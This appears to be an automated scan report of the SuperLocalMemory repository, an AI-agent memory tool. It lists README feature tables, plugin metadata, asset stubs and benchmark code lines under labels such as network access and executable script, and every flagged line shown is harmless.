| Capability | What you get | Docs | |---|---|---| | **Three honest tiers** | *Supported*; *closest memories* (up to three, labelled); or *"That isn't in SuperLocalMemory."* Hooks that inject memory automatically only ever inject supported - Network accessline 202
|---|---|---| | **Three honest tiers** | *Supported*; *closest memories* (up to three, labelled); or *"That isn't in SuperLocalMemory."* Hooks that inject memory automatically only ever inject supported answers | [Recall](https://github.com - Network accessline 203
| **Three honest tiers** | *Supported*; *closest memories* (up to three, labelled); or *"That isn't in SuperLocalMemory."* Hooks that inject memory automatically only ever inject supported answers | [Recall](https://github.com/qualixar/supe - Network accessline 204
| **Warming up, said plainly** | While models load, recall shows what keyword search found under *"SuperLocalMemory is still warming up — results may be incomplete. Try again in a few minutes."* | [Recall](https://github.com/qualixar/superl - Network accessline 205
| **Layered recall** | `depth` 0 (a one-line glance), 1 (the facts), 2 (with source, session neighbours, related entities and corrections); a hard `max_tokens` cap; `expand` drills into one result | [Layered recall](https://github.com/quali - Network accessline 206
| **Hybrid search** | Semantic, keyword (BM25), entity-graph, temporal, associative (Hopfield), spreading-activation and picture channels, fused and reranked; `slm trace` shows each channel's score | [Recall](https://github.com/qualixar/sup - Network accessline 207
| **Nine memory kinds** | Fact, event, status, opinion, rule, decision, how-to, plan, correction. "What did we decide" favours decisions; confirmed rules and decisions load at every session start | [Memory kinds](https://github.com/qualixar - Network accessline 208
| **Time travel** | `--valid-at` (what was true then), `--known-as-of` (what SLM knew then), `--window 7d` | [Recall](https://github.com/qualixar/superlocalmemory/blob/main/docs/recall.md#time-travel) | - Network accessline 209
| **Precise filters** | By project, agent, subject, kind and exact tags; an empty result says why | [Recall](https://github.com/qualixar/superlocalmemory/blob/main/docs/recall.md#narrowing-a-recall) | - Network accessline 210
| **Corrections** | `--replaces` retires an old fact, kept and undoable; edits go through reviewed corrections with rollback | [Corrections](https://github.com/qualixar/superlocalmemory/blob/main/docs/reviewed-corrections.md) | - Network accessline 211
| **Summaries and saved views** | Session, day and project summaries that cite their memory ids; saved views like "what did I ship this week" | [Recall](https://github.com/qualixar/superlocalmemory/blob/main/docs/recall.md#summaries) | - Network accessline 212
| **Prompt-injection defence** | Recalled text is treated as untrusted evidence: secrets redacted, forged markers neutralised, provenance attached | [Security](https://github.com/qualixar/superlocalmemory/blob/main/SECURITY.md) | - Network accessline 227
<img src="https://raw.githubusercontent.com/qualixar/superlocalmemory/main/assets/branding/jev-mark.svg" width="44" alt="Jev mark"> **Jev — online, any computer** - Network accessline 235
The verdict is one input to the support decision, with its own time budget, and the **Answer Check** tab shows verdicts, timing and how often memory had no answer — without storing your questions. [Answer check](https://github.com/qualixar/ - Network accessline 239
| Capability | What you get | Docs | |---|---|---| | **Pictures you find by describing them** | PNG, JPEG, GIF and WebP. Google's EmbeddingGemma 2 runs locally and puts text and pictures in one search space, so your words find the image; OC - Network accessline 240
|---|---|---| | **Pictures you find by describing them** | PNG, JPEG, GIF and WebP. Google's EmbeddingGemma 2 runs locally and puts text and pictures in one search space, so your words find the image; OCR (Apple Vision on a Mac, RapidOCR el - Network accessline 241
| **Pictures you find by describing them** | PNG, JPEG, GIF and WebP. Google's EmbeddingGemma 2 runs locally and puts text and pictures in one search space, so your words find the image; OCR (Apple Vision on a Mac, RapidOCR elsewhere) makes - Network accessline 242
| **PDFs, page by page** | Each page is indexed by its picture and its text; every answer says which file and page it came from, with a thumbnail | [Pictures and documents](https://github.com/qualixar/superlocalmemory/blob/main/docs/picture - Network accessline 243
| **Document index** | A catalogue of every saved document with its pages and the people, projects and dates it mentions | [Pictures and documents](https://github.com/qualixar/superlocalmemory/blob/main/docs/pictures-and-documents.md) | - Network accessline 244
| **Document health check** | Finds pages with no readable text, documents linked to nothing, duplicate pages and documents whose facts were contradicted | [Pictures and documents](https://github.com/qualixar/superlocalmemory/blob/main/docs - Network accessline 245
| **Folders and Obsidian vaults** | `slm sources add ~/Notes --kind obsidian` mirrors Markdown, canvas files, PDFs and images into memory, read-only, after showing what it would read | [CLI](https://github.com/qualixar/superlocalmemory/blob - Network accessline 246
| **From ChatGPT and your phone** | Attach a file in ChatGPT, or ask any connected web app for a one-time upload link that streams the file straight to your computer | [Web access](https://github.com/qualixar/superlocalmemory/blob/main/docs - Network accessline 247
| **Your data stays yours** | Pictures live in their own store and never leave your computer; erasing a memory erases its picture. Off by default, one click to turn on; needs 16 GB of memory | [Compliance](https://github.com/qualixar/superl - Network accessline 251
| Capability | What you get | Docs | |---|---|---| | **Automatic description** | While your computer is idle, older memories get event dates, names, projects, tags and kinds filled in — only by adding, never by editing what you wrote, and n - Network accessline 252
|---|---|---| | **Automatic description** | While your computer is idle, older memories get event dates, names, projects, tags and kinds filled in — only by adding, never by editing what you wrote, and never over a value you set | [Memory h - Network accessline 253
| **Automatic description** | While your computer is idle, older memories get event dates, names, projects, tags and kinds filled in — only by adding, never by editing what you wrote, and never over a value you set | [Memory health](https:/ - Network accessline 254
| **Fix and Undo** | Repairs that move or delete anything — junk entity links, hidden memories still in use, saves that didn't finish — wait for your **Fix**; every run can be undone | [Memory health](https://github.com/qualixar/superlocalm - Network accessline 255
| **Stub badge** | Receipts and session boilerplate stay listed with a **stub** badge but never become answers | [Memory health](https://github.com/qualixar/superlocalmemory/blob/main/docs/memory-health.md) | - Network accessline 256
| **Store health** | `slm doctor` shows how findable and described your memories are; `slm db integrity` and `slm db repair` (with undo) keep the store sound | [Troubleshooting](https://github.com/qualixar/superlocalmemory/blob/main/docs/tr - Network accessline 260
| Capability | What you get | Docs | |---|---|---| | **Knowledge graph** | People, projects and tools resolved from your memories, with aliases, scenes and timelines; the Entity Explorer shows how what you know changed | [Architecture](http - Network accessline 261
|---|---|---| | **Knowledge graph** | People, projects and tools resolved from your memories, with aliases, scenes and timelines; the Entity Explorer shows how what you know changed | [Architecture](https://github.com/qualixar/superlocalmem - Network accessline 262
| **Knowledge graph** | People, projects and tools resolved from your memories, with aliases, scenes and timelines; the Entity Explorer shows how what you know changed | [Architecture](https://github.com/qualixar/superlocalmemory/blob/main/ - Network accessline 263
| **Code graph** | Index a repository, then ask for blast radius, callers and code search by meaning | [MCP tools](https://github.com/qualixar/superlocalmemory/blob/main/docs/mcp-tools.md) | - Network accessline 264
| **Forgetting that helps** | An Ebbinghaus retention cycle and Langevin lifecycle move neglected memories toward archive; fading memories are quantized to fewer bits and folded into one gist | [Research](#research) | | **Learning to rank ( - Network accessline 265
| **Learning to rank (opt-in)** | A bandit and a learning-to-rank model learn from outcomes; a new ranker is promoted only on a statistically valid win and rolled back automatically if it gets worse | [Configuration](https://github.com/qual - Network accessline 266
| **Soft prompts and skill evolution (opt-in)** | Stable behaviour patterns become soft prompts for new sessions; agent skills are measured and revised under blind verification | [Skill evolution](https://github.com/qualixar/superlocalmemor - Network accessline 270
| Control | What it does | Docs | |---|---|---| | **Roles and workspaces** | Admin, member and viewer per workspace; a role in one workspace grants nothing in another; maintenance and approvals act only where you are | [Teams](https://githu - Network accessline 271
|---|---|---| | **Roles and workspaces** | Admin, member and viewer per workspace; a role in one workspace grants nothing in another; maintenance and approvals act only where you are | [Teams](https://github.com/qualixar/superlocalmemory/bl - Network accessline 272
| **Roles and workspaces** | Admin, member and viewer per workspace; a role in one workspace grants nothing in another; maintenance and approvals act only where you are | [Teams](https://github.com/qualixar/superlocalmemory/blob/main/docs/r - Network accessline 273
| **Company mode** | Every read and write attributed to a signed-in person | [Company mode](https://github.com/qualixar/superlocalmemory/blob/main/docs/company-mode.md) | - Network accessline 274
| **Scopes** | Personal by default; shared and global only when you choose; cross-profile recall denied by default | [Scopes](https://github.com/qualixar/superlocalmemory/blob/main/docs/shared-memory.md) | - Network accessline 275
| **GDPR** | Export (Art. 15/20) and erasure (Art. 17) across every store and every derived copy, with a verifiable receipt | [Compliance](https://github.com/qualixar/superlocalmemory/blob/main/docs/compliance.md) | - Network accessline 276
| **Audit and retention** | A hash-chained audit trail that fails verification if tampered with; per-profile retention rules; an EU AI Act posture report | [Compliance](https://github.com/qualixar/superlocalmemory/blob/main/docs/compliance. - Network accessline 277
| **Backup and restore** | Cloud backup to GitHub or Google Drive, encrypted before upload; a restore point before every store update; a restore keeps a safety copy and rolls back if it fails | [Cloud backup](https://github.com/qualixar/sup - Network accessline 284
|---|---|---| | **Attributed, trusted writes** | Every memory records its agent; Bayesian trust scores defend against memory poisoning | [Research](#research) | | **SLM-Mesh** | Messages, waits, locks and shared state between sessions, on o - Network accessline 285
| **Attributed, trusted writes** | Every memory records its agent; Bayesian trust scores defend against memory poisoning | [Research](#research) | | **SLM-Mesh** | Messages, waits, locks and shared state between sessions, on one machine or - Network accessline 286
| **SLM-Mesh** | Messages, waits, locks and shared state between sessions, on one machine or several | [Multi-machine](https://github.com/qualixar/superlocalmemory/blob/main/docs/multi-machine.md) | - Network accessline 287
| **Bots that talk to each other** | ChatGPT, Claude on the web, Grok Bot and Muse join the mesh with your permission: list peers, message a named bot, read the inbox. Messages arrive labelled as data, never as instructions | [Bot messages] - Network accessline 288
| **Bounded loops and graphs** | "Done" means an independent gate passed (tests, a linter, a schema), never the agent's word; every lap is stored as auditable memory. Multi-step graphs run in [Bounded Loops](https://github.com/qualixar/boun - Network accessline 292
| Capability | What you get | Docs | |---|---|---| | **Exact cache** | Tool output and file reads cached with a TTL; a hit skips the repeat call | [Optimize](https://github.com/qualixar/superlocalmemory/blob/main/docs/optimize-overview.md) - Network accessline 293
|---|---|---| | **Exact cache** | Tool output and file reads cached with a TTL; a hit skips the repeat call | [Optimize](https://github.com/qualixar/superlocalmemory/blob/main/docs/optimize-overview.md) | | **Reversible compression** | Larg - Network accessline 294
| **Exact cache** | Tool output and file reads cached with a TTL; a hit skips the repeat call | [Optimize](https://github.com/qualixar/superlocalmemory/blob/main/docs/optimize-overview.md) | - Network accessline 295
| **Reversible compression** | Large output shrunk safely; the exact original comes back by id | [Optimize](https://github.com/qualixar/superlocalmemory/blob/main/docs/optimize-overview.md) | - Network accessline 296
| **Three ways in** | Works through a proxy (`slm wrap claude`), MCP tools or a skill; `slm optimize savings` shows what you saved | [Proxy setup](https://github.com/qualixar/superlocalmemory/blob/main/docs/proxy-setup.md) | - Network accessline 300
| Capability | What you get | Docs | |---|---|---| | **Three modes** | **A:** no language model at all. **B:** a model on this machine (Ollama, where Google Gemma 3 4B is the default and Gemma 4 is in the model picker, or any local OpenAI-c - Network accessline 301
|---|---|---| | **Three modes** | **A:** no language model at all. **B:** a model on this machine (Ollama, where Google Gemma 3 4B is the default and Gemma 4 is in the model picker, or any local OpenAI-compatible server). **C:** your own en - Network accessline 302
| **Three modes** | **A:** no language model at all. **B:** a model on this machine (Ollama, where Google Gemma 3 4B is the default and Gemma 4 is in the model picker, or any local OpenAI-compatible server). **C:** your own endpoint or a cl - Network accessline 303
| **Dashboard** | Search, knowledge graph, Entity Explorer, answer check, Memory health, documents and images, connected apps, bot messages, governance: `slm dashboard` | [Dashboard](https://github.com/qualixar/superlocalmemory/blob/main/do - Network accessline 304
| **Scale engine** | SQLite + sqlite-vec are canonical; optional LanceDB and CozoDB copies serve only once they match SQLite | [Scale engine](https://github.com/qualixar/superlocalmemory/blob/main/docs/scale-engine.md) | - Network accessline 305
| **Durable writes** | Every save moves raw → queryable → complete with a receipt; failures keep the evidence and retry; text saves under load are queued, never refused | [Architecture](https://github.com/qualixar/superlocalmemory/blob/main - Network accessline 306
| **Model switching** | Change the embedding model in the background while recall keeps working, with one-step rollback | [CLI](https://github.com/qualixar/superlocalmemory/blob/main/docs/cli-reference.md#embedding-models-and-store-health) - Network accessline 307
| **Remote access on your network** | `slm remote` serves memory to other computers over TLS, one revocable key per client | [Deployment](https://github.com/qualixar/superlocalmemory/blob/main/docs/distributed-deployment.md#remote-access-ov - Network accessline 318
To change one app only, set `SLM_MCP_PROFILE` in that app's MCP config (`slm connect <app> --profile <name>` writes it); it wins over the saved choice for that app. [Per-app details](https://github.com/qualixar/superlocalmemory/blob/main/do - Network accessline 329
stdio: `{"command": "slm", "args": ["mcp"]}` · HTTP: `http://127.0.0.1:8765/mcp/` · [MCP tools](https://github.com/qualixar/superlocalmemory/blob/main/docs/mcp-tools.md) - Network accessline 333
| Memory health: Fix and Undo | Knowledge graph | |---|---| | <img src="https://raw.githubusercontent.com/qualixar/superlocalmemory/main/docs/assets/gifs/memory-health.gif" alt="Memory health card: hidden memories that are still in use are - Network accessline 334
|---|---| | <img src="https://raw.githubusercontent.com/qualixar/superlocalmemory/main/docs/assets/gifs/memory-health.gif" alt="Memory health card: hidden memories that are still in use are fixed with one click, and Undo restores exactly wh - Network accessline 335
| <img src="https://raw.githubusercontent.com/qualixar/superlocalmemory/main/docs/assets/gifs/memory-health.gif" alt="Memory health card: hidden memories that are still in use are fixed with one click, and Undo restores exactly what changed - Network accessline 337
| <img src="https://raw.githubusercontent.com/qualixar/superlocalmemory/main/docs/assets/gifs/entities.gif" alt="Entity Explorer: projects and tools with their facts and timeline"> | <img src="https://raw.githubusercontent.com/qualixar/supe - Network accessline 339
Recorded on a test install with fictional memories. [The eight-minute full demo](https://www.youtube.com/watch?v=9Y0wAT07KTc) walks through every pane. - Network accessline 343
<img src="https://raw.githubusercontent.com/qualixar/superlocalmemory/main/docs/assets/slm-architecture.png" alt="SuperLocalMemory architecture: local harnesses, web bots and your code reach one SLM service on your computer through four doo - Network accessline 345
The free local core is complete on its own; Web access is optional. [Architecture in detail](https://github.com/qualixar/superlocalmemory/blob/main/docs/ARCHITECTURE.md) - Network accessline 349
<img align="right" width="110" src="https://raw.githubusercontent.com/qualixar/superlocalmemory/main/assets/mascot/slm-mascot-shield.png" alt="SuperLocalMemory mascot holding a shield: privacy and governance"> - Network accessline 361
Pictures, documents, Laya and Mode A never send anything. Secrets in memory text are redacted on every outbound path. [Security policy](https://github.com/qualixar/superlocalmemory/blob/main/SECURITY.md) - Network accessline 365
These numbers come from the published architecture paper ([arXiv:2603.14588](https://arxiv.org/abs/2603.14588)), whose retrieval core SLM still runs. They are not a fresh run of the current package. - Network accessline 373
A LoCoMo score is comparable only when the subset, answer model and judge match. [Method and ablations](https://github.com/qualixar/superlocalmemory/blob/main/docs/benchmarks.md) - Network accessline 379
1. [SuperLocalMemory 4.0: The Governed Memory Operating System for AI Agents](https://arxiv.org/abs/2608.08253), with Garima Singh and Arun Pratap Bhardwaj. arXiv:2608.08253 - Network accessline 380
2. [SuperLocalMemory V3.3: The Living Brain](https://arxiv.org/abs/2604.04514), arXiv:2604.04514 - Network accessline 381
3. [SuperLocalMemory V3: Information-Geometric Foundations for Zero-LLM Enterprise Agent Memory](https://arxiv.org/abs/2603.14588), arXiv:2603.14588 - Network accessline 382
4. [Privacy-Preserving Multi-Agent Memory with Bayesian Trust Defense Against Memory Poisoning](https://arxiv.org/abs/2603.02240), arXiv:2603.02240 - Network accessline 384
Cite with [CITATION.cff](https://github.com/qualixar/superlocalmemory/blob/main/CITATION.cff) or GitHub's "Cite this repository". - Network accessline 388
**Start:** [Getting started](https://github.com/qualixar/superlocalmemory/blob/main/docs/getting-started.md) · [IDE setup](https://github.com/qualixar/superlocalmemory/blob/main/docs/ide-setup.md) · [Plugins](https://github.com/qualixar/sup - Network accessline 389
**Use:** [Recall](https://github.com/qualixar/superlocalmemory/blob/main/docs/recall.md) · [Memory health](https://github.com/qualixar/superlocalmemory/blob/main/docs/memory-health.md) · [Answer check](https://github.com/qualixar/superlocal - Network accessline 390
**Reference:** [CLI](https://github.com/qualixar/superlocalmemory/blob/main/docs/cli-reference.md) · [MCP tools](https://github.com/qualixar/superlocalmemory/blob/main/docs/mcp-tools.md) · [Configuration](https://github.com/qualixar/superlo - Network accessline 400
Upgrades never move or delete memory, and a store update takes a restore point first. [Host upgrades](https://github.com/qualixar/superlocalmemory/blob/main/docs/host-upgrades.md) - Network accessline 415
<a href="https://star-history.com/#qualixar/superlocalmemory&Date"><img src="https://api.star-history.com/svg?repos=qualixar/superlocalmemory&type=Date" alt="SuperLocalMemory GitHub star history" width="600"></a> - Network accessline 419
Issues and pull requests are welcome: [CONTRIBUTING.md](https://github.com/qualixar/superlocalmemory/blob/main/CONTRIBUTING.md). Security reports: [SECURITY.md](https://github.com/qualixar/superlocalmemory/blob/main/SECURITY.md). Licensed u - Network accessline 425
<img src="https://raw.githubusercontent.com/qualixar/superlocalmemory/main/assets/mascot/slm-mascot-pointing.png" width="120" alt="SuperLocalMemory mascot pointing to the repository star button"> - Network accessline 429
**SuperLocalMemory** is made by [Varun Pratap Bhardwaj](https://varunpratap.com) at [Qualixar](https://qualixar.com): AI Reliability Engineering — memory, contracts, tests and loops that make AI agents dependable enough to trust with real w - Network accessline 431
**Stronger together.** SuperLocalMemory remembers. **[Jev Decision Layer](https://github.com/qualixar/jev-decision-layer)** makes your agent's bounded choices typed and checked. **[Bounded Loops](https://github.com/qualixar/bounded-loops)** - Network accessline 433
If SLM keeps your agents from forgetting, **[star the repository](https://github.com/qualixar/superlocalmemory)**. It's how other developers find it. - Network accessline 435
[](https://github.com/qualixar/superlocalmemory/stargazers) - Network accessline 436
[](https://x.com/varunPbhardwaj) - Network accessline 438
**More from Qualixar:** [Qualixar OS](https://github.com/qualixar/qualixar-os) · [SkillFortify](https://github.com/qualixar/skillfortify) · [SLM Mesh](https://github.com/qualixar/slm-mesh) · [AgentAssert](https://github.com/qualixar/agentas
SECURITY.md
- Access to secretsline 180
[Credential-related source omitted] - Access to secretsline 184
[Credential-related source omitted] - Access to secretsline 185
[Credential-related source omitted] - Network accessline 216
- **Paper 1** ([arXiv:2603.02240](https://arxiv.org/abs/2603.02240)): Bayesian trust defense, OWASP-aligned memory poisoning protection - Network accessline 217
- **Paper 2** ([arXiv:2603.14588](https://arxiv.org/abs/2603.14588)): Information-geometric foundations, cellular sheaf cohomology for contradiction detection - Network accessline 218
- **Paper 3** ([arXiv:2604.04514](https://arxiv.org/abs/2604.04514)): Trust-weighted forgetting, compliance audit trails, FRQAD mixed-precision integrity - Network accessline 224
Part of [Qualixar](https://qualixar.com) | Author: [Varun Pratap Bhardwaj](https://varunpratap.com)
SETUP_FOR_AGENTS.md
SKILL.md
- Network accessline 5
author: "Varun Pratap Bhardwaj" license: AGPL-3.0-or-later homepage: https://superlocalmemory.com - Network accessline 6
license: AGPL-3.0-or-later homepage: https://superlocalmemory.com repository: https://github.com/qualixar/superlocalmemory - Network accessline 7
homepage: https://superlocalmemory.com - Network accessline 8
repository: https://github.com/qualixar/superlocalmemory
antigravity-plugin/plugin.json
- Network accessline 6
"name": "Qualixar", "email": "varun.pratap.bhardwaj@gmail.com", "url": "https://github.com/qualixar" - Network accessline 7
"email": "varun.pratap.bhardwaj@gmail.com", "url": "https://github.com/qualixar" }, - Network accessline 8
"url": "https://github.com/qualixar" - Network accessline 9
}, "homepage": "https://qualixar.com", "repository": "https://github.com/qualixar/superlocalmemory", - Network accessline 10
"homepage": "https://qualixar.com", - Network accessline 11
"repository": "https://github.com/qualixar/superlocalmemory",
antigravity-plugin/scripts/antigravity_hook_adapter.py
antigravity-plugin/skills/slm-cache/SKILL.md
- Network accessline 86
| Search result | `search:` | `search:recall:session_init_context` | | Tool output | `tool:` | `tool:build_code_graph:/repo` | | External fetch | `url:` | `url:https://api.example.com/v1/data` | - Network accessline 88
| External fetch | `url:` | `url:https://api.example.com/v1/data` |
antigravity-plugin/skills/slm-getting-started-bot/SKILL.md
- Instruction override signalline 42
None of this is a degraded mode — it is the whole surface. Do not tell the user a feature is "missing" when it was simply never wired to this host
antigravity-plugin/skills/slm-recall/SKILL.md
antigravity-plugin/skills/slm-web-access/SKILL.md
- Network accessline 23
1. Open the dashboard (`slm dashboard`, default `http://localhost:8765`) and go - Network accessline 36
memory while this computer is online." 5. In the app, add a remote MCP connector with the **MCP server URL** `https://mcp.superlocalmemory.com/mcp` and OAuth. Some apps (Composio, Muse) - Network accessline 37
5. In the app, add a remote MCP connector with the **MCP server URL** `https://mcp.superlocalmemory.com/mcp` and OAuth. Some apps (Composio, Muse) also want the **OAuth metadata URL** - Network accessline 38
`https://mcp.superlocalmemory.com/mcp` and OAuth. Some apps (Composio, Muse) - Network accessline 39
also want the **OAuth metadata URL** `https://auth.superlocalmemory.com/.well-known/oauth-authorization-server`. Both are under **Technical details** with copy buttons. - Network accessline 40
`https://auth.superlocalmemory.com/.well-known/oauth-authorization-server`.
assets/CONTACT-SHEET-README.md
assets/branding/google-g.svg
- Network accessline 1
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 48 48" width="48" height="48" role="img" aria-label="Google"><path fill="#EA4335" d="M24 9.5c3.54 0 6.71 1.22 9.21 3.6l6.85-6.85C35.9 2.38 30.47 0 24 0 14.62 0 6.51 5.38 2.56 13.22l7.98 6
assets/branding/jev-mark.svg
- Network accessline 1
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 128 128" role="img" aria-labelledby="title desc">
assets/branding/slm-mark.svg
- Network accessline 1
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 128 128" role="img" aria-labelledby="title desc">
assets/branding/slm-wordmark-dark.svg
- Network accessline 1
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 620 128" role="img" aria-label="SuperLocalMemory">
assets/branding/slm-wordmark-light.svg
- Network accessline 1
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 620 128" role="img" aria-label="SuperLocalMemory">
assets/contact-sheet.png
- Network accessline 1
version https://git-lfs.github.com/spec/v1
assets/gifs/QUICK-REFERENCE.md
- Network accessline 44

assets/gifs/USAGE.md
assets/gifs/cli-demo.gif
- Network accessline 1
version https://git-lfs.github.com/spec/v1
assets/gifs/dashboard-search.gif
- Network accessline 1
version https://git-lfs.github.com/spec/v1
assets/gifs/dashboard-tabs.gif
- Network accessline 1
version https://git-lfs.github.com/spec/v1
assets/gifs/event-stream.gif
- Network accessline 1
version https://git-lfs.github.com/spec/v1
assets/gifs/graph-interaction.gif
- Network accessline 1
version https://git-lfs.github.com/spec/v1
assets/icon-white.svg
assets/icon.svg
- Network accessline 1
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 128 128" role="img" aria-labelledby="title desc">
assets/screenshots/dashboard/README.md
- Network accessline 126
# 2. Start the dashboard on demo-visual profile python3 ~/.claude-memory/ui_server.py # (Dashboard runs on http://localhost:8765) - Network accessline 128
# (Dashboard runs on http://localhost:8765) - Network accessline 174
Creator: Varun Pratap Bhardwaj Repository: https://github.com/qualixar/superlocalmemory - Network accessline 175
Repository: https://github.com/qualixar/superlocalmemory
assets/screenshots/dashboard/dashboard-agents-annotated.png
- Network accessline 1
version https://git-lfs.github.com/spec/v1
assets/screenshots/dashboard/dashboard-graph-annotated.png
- Network accessline 1
version https://git-lfs.github.com/spec/v1
assets/screenshots/dashboard/dashboard-live-events-annotated.png
- Network accessline 1
version https://git-lfs.github.com/spec/v1
assets/screenshots/dashboard/dashboard-memories-annotated.png
- Network accessline 1
version https://git-lfs.github.com/spec/v1
assets/screenshots/dashboard/dashboard-overview-annotated.png
- Network accessline 1
version https://git-lfs.github.com/spec/v1
assets/videos/README.md
assets/videos/dashboard-tour.mp4
- Network accessline 1
version https://git-lfs.github.com/spec/v1
assets/videos/installation-walkthrough.mp4
- Network accessline 1
version https://git-lfs.github.com/spec/v1
assets/videos/quick-start.mp4
- Network accessline 1
version https://git-lfs.github.com/spec/v1
benchmark/_harness.py
benchmark/bench_perf.py
benchmark/exp12_learning_loop_ablation.py
- Executable scriptline 1
#!/usr/bin/env python3
benchmark/exp13_governance_envelope_cost.py
- Executable scriptline 1
#!/usr/bin/env python3
benchmark/exp1_erasure_completeness.py
- Executable scriptline 1
Executable file
benchmark/exp2_transaction_atomicity.py
benchmark/exp2b_real_owner_manifest.py
- Executable scriptline 1
Executable file - Network accessline 266
with db.raw_connection() as conn_r: ledger = ObligationLedger() obligations = ledger.fetch(conn_r, op_id) - Network accessline 267
ledger = ObligationLedger() obligations = ledger.fetch(conn_r, op_id) states = {o.owner: o.state for o in obligations} - Network accessline 268
obligations = ledger.fetch(conn_r, op_id) - Network accessline 380
with db.raw_connection() as conn_r: ledger = ObligationLedger() obligations = ledger.fetch(conn_r, op_id) - Network accessline 381
ledger = ObligationLedger() obligations = ledger.fetch(conn_r, op_id) states = {o.owner: o.state for o in obligations} - Network accessline 382
obligations = ledger.fetch(conn_r, op_id)
benchmark/exp3_migration_downgrade.py
- Executable scriptline 1
Executable file
benchmark/exp4_backup_restore_atomicity.py
- Executable scriptline 1
Executable file
benchmark/exp5_multitenant_isolation.py
- Executable scriptline 1
Executable file
benchmark/exp6_temporal_micro_eval.py
- Executable scriptline 1
Executable file
benchmark/exp7_generation_fence.py
- Executable scriptline 1
Executable file
benchmark/exp8_policy_registry.py
- Executable scriptline 1
Executable file
benchmark/exp_governed_latency.py
- Executable scriptline 1
Executable file
benchmark/recall_channels.py
benchmark/run_all.py
- Executable scriptline 1
Executable file
benchmarks/embedder_compare/README.md
- Network accessline 80
- LoCoMo (snap-research/locomo, CC BY-NC 4.0, commit 3eb6f2c): downloaded at run time, never
benchmarks/embedder_compare/build_dataset.py
- Executable scriptline 1
Executable file - Network accessline 3
LoCoMo text is read from the downloaded file at build time; only ids are kept in golden/locomo_selection.json (the data is CC BY-NC 4.0 and never committed). - Network accessline 4
golden/locomo_selection.json (the data is CC BY-NC 4.0 and never committed). - Access to secretsline 31
[Credential-related source omitted]
benchmarks/embedder_compare/candidates.py
- Executable scriptline 1
Executable file
benchmarks/embedder_compare/e2e_daemon.py
- Executable scriptline 1
Executable file - Network accessline 12
import argparse import http.client - Network accessline 13
import http.client - Network accessline 233
def __init__(self, port: int, headers: dict[str, str] | None = None, timeout: float = 120.0): self.port, self._headers, self.timeout = port, dict(headers or {}), timeout self._conn: http.client.HTTPConnection | None = None - Network accessline 234
self.port, self._headers, self.timeout = port, dict(headers or {}), timeout self._conn: http.client.HTTPConnection | None = None self.retry_after: float | None = None # Retry-After of the last response, seconds - Network accessline 235
self._conn: http.client.HTTPConnection | None = None - Network accessline 241
def _send(self, method: str, path: str, payload: bytes | None, headers: dict): if self._conn is None: self._conn = http.client.HTTPConnection("127.0.0.1", self.port, timeout=self.timeout) - Network accessline 242
if self._conn is None: self._conn = http.client.HTTPConnection("127.0.0.1", self.port, timeout=self.timeout) self._conn.request(method, path, payload, headers) - Network accessline 243
self._conn = http.client.HTTPConnection("127.0.0.1", self.port, timeout=self.timeout) - Network accessline 257
resp, raw = self._send(method, path, payload, headers) break except (OSError, http.client.HTTPException): - Network accessline 258
break except (OSError, http.client.HTTPException): self._conn = None - Network accessline 259
except (OSError, http.client.HTTPException): - Network accessline 278
def free_port(start: int = 8821) -> int: for port in range(start, start + 100): with socket.socket() as s: - Network accessline 279
for port in range(start, start + 100): with socket.socket() as s: if s.connect_ex(("127.0.0.1", port)) != 0: - Network accessline 280
with socket.socket() as s: - Access to secretsline 287
[Credential-related source omitted] - Network accessline 302
if not want_ready or body.get("ready") is True: return time.perf_counter() - t0, body except (OSError, http.client.HTTPException): - Network accessline 303
return time.perf_counter() - t0, body except (OSError, http.client.HTTPException): pass - Network accessline 304
except (OSError, http.client.HTTPException): - Network accessline 342
try: status, body, ms = remember_one(client, item, throttle) except (OSError, http.client.HTTPException) as exc: - Network accessline 343
status, body, ms = remember_one(client, item, throttle) except (OSError, http.client.HTTPException) as exc: errors.append({"doc_id": item["doc_id"], "error": type(exc).__name__}) - Network accessline 344
except (OSError, http.client.HTTPException) as exc: - Network accessline 368
last = body.get("projection") or {} calm = calm + 1 if last.get("depth", 1) == 0 else 0 except (OSError, http.client.HTTPException): - Network accessline 369
calm = calm + 1 if last.get("depth", 1) == 0 else 0 except (OSError, http.client.HTTPException): calm = 0 - Network accessline 370
except (OSError, http.client.HTTPException): - Network accessline 383
try: status, body, ms = client.call("GET", path) except (OSError, http.client.HTTPException) as exc: - Network accessline 384
status, body, ms = client.call("GET", path) except (OSError, http.client.HTTPException) as exc: records[q["id"]] = {"error": type(exc).__name__, "ranked": []} - Network accessline 385
except (OSError, http.client.HTTPException) as exc: - Network accessline 401
while time.perf_counter() - t0 < 30: down = not (pid and psutil.pid_exists(pid) and psutil.Process(pid).status() != psutil.STATUS_ZOMBIE) with socket.socket() as sock: - Network accessline 402
down = not (pid and psutil.pid_exists(pid) and psutil.Process(pid).status() != psutil.STATUS_ZOMBIE) with socket.socket() as sock: closed = sock.connect_ex(("127.0.0.1", port)) != 0 - Network accessline 403
with socket.socket() as sock:
benchmarks/embedder_compare/e2e_media.py
benchmarks/embedder_compare/e2e_media_checks.py
- Executable scriptline 1
Executable file
benchmarks/embedder_compare/embedders.py
benchmarks/embedder_compare/fetch_data.sh
- Executable scriptline 1
#!/usr/bin/env bash - Network accessline 2
# Download the public data the comparison needs into $SLM_BENCH_HOME. # LoCoMo (snap-research/locomo, CC BY-NC 4.0): pinned commit + sha256 check. - Network accessline 3
# LoCoMo (snap-research/locomo, CC BY-NC 4.0): pinned commit + sha256 check. - Network accessline 9
HOME_DIR="${SLM_BENCH_HOME:-$HOME/.cache/slm-embedder-compare}" LOCOMO_REPO="https://github.com/snap-research/locomo.git" - Network accessline 10
LOCOMO_REPO="https://github.com/snap-research/locomo.git" - Network accessline 16
dest="$HOME_DIR/locomo" if [ ! -d "$dest/.git" ]; then git clone --quiet "$LOCOMO_REPO" "$dest" - Network accessline 17
if [ ! -d "$dest/.git" ]; then git clone --quiet "$LOCOMO_REPO" "$dest" fi - Network accessline 18
git clone --quiet "$LOCOMO_REPO" "$dest" fi git -C "$dest" fetch --quiet origin "$LOCOMO_COMMIT" 2>/dev/null || true - Network accessline 29
exit 1 fi echo "LoCoMo ok at $LOCOMO_COMMIT (licence: CC BY-NC 4.0, see $dest/LICENSE.txt)" - Network accessline 31
